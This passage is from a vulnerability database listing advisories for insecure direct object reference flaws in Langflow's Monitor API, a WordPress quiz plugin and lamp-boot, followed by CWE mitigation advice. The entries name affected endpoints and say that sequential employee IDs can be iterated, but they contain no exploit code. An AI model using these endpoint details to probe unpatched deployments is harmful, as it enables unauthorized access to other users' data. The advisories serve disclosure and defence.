LLM conversation history \u2014 user-submitted prompts and model responses \u2014 for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state.\n\n**Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.\n\n**Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user\u0027s conversation history and LLM logs. No recovery mechanism exists once data is deleted.\n\nAny registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user\u0027s data.",
  "id": "GHSA-9c59-2mvc-vfr8",
  "modified": "2026-07-20T13:40:34Z",
  "published": "2026-06-16T17:34:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-9c59-2mvc-vfr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33760"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-242.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow: IDOR/BOLA in Monitor API \u2014 Missing Ownership Enforcement on 7 Endpoints "
}

GHSA-9CGG-XR6F-VRG8

Vulnerability from github – Published: 2022-11-04 12:00 – Updated: 2022-11-04 19:01
VLAI
Details

Multiple Insecure Direct Object References (IDOR) vulnerabilities in ExpressTech Quiz And Survey Master plugin <= 7.3.6 on WordPress.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-36906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-03T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple Insecure Direct Object References (IDOR) vulnerabilities in ExpressTech Quiz And Survey Master plugin \u003c= 7.3.6 on WordPress.",
  "id": "GHSA-9cgg-xr6f-vrg8",
  "modified": "2022-11-04T19:01:16Z",
  "published": "2022-11-04T12:00:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36906"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/quiz-master-next/wordpress-quiz-and-survey-master-plugin-7-3-6-multiple-insecure-direct-object-references-idor-vulnerabilities?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/quiz-master-next/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9CQ5-3V6H-R7PM

Vulnerability from github – Published: 2026-10-14 21:33 – Updated: 2026-10-14 21:33
VLAI
Details

lamp-boot 4.16.0-java17 through 4.21.2-java17 contains an insecure direct object reference vulnerability in the oauth module's /anyone/findDeptByCompany endpoint that skips URI permission checks. Authenticated low-privilege users can iterate sequential employeeId values to read every employee's department membership within the tenant.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-110763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-14T19:17:12Z",
    "severity": "MODERATE"
  },
  "details": "lamp-boot 4.16.0-java17 through 4.21.2-java17 contains an insecure direct object reference vulnerability in the oauth module\u0027s /anyone/findDeptByCompany endpoint that skips URI permission checks. Authenticated low-privilege users can iterate sequential employeeId values to read every employee\u0027s department membership within the tenant.",
  "id": "GHSA-9cq5-3v6h-r7pm",
  "modified": "2026-10-14T21:33:42Z",
  "published": "2026-10-14T21:33:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zuihou/lamp-boot"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zuihou/lamp-boot/blob/ddef8c71de970b915ba1b15e0e9c2dd7414074de/lamp-oauth/lamp-oauth-controller/src/main/java/top/tangyh/lamp/oauth/controller/UserInfoController.java#L167"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@hieuPenguinnn/lamp-boot-finddeptbycompany-employee-idor"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/lamp-boot-4.16.0-java17-through-4.21.2-java17-idor-via-anyone-finddeptbycompany"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

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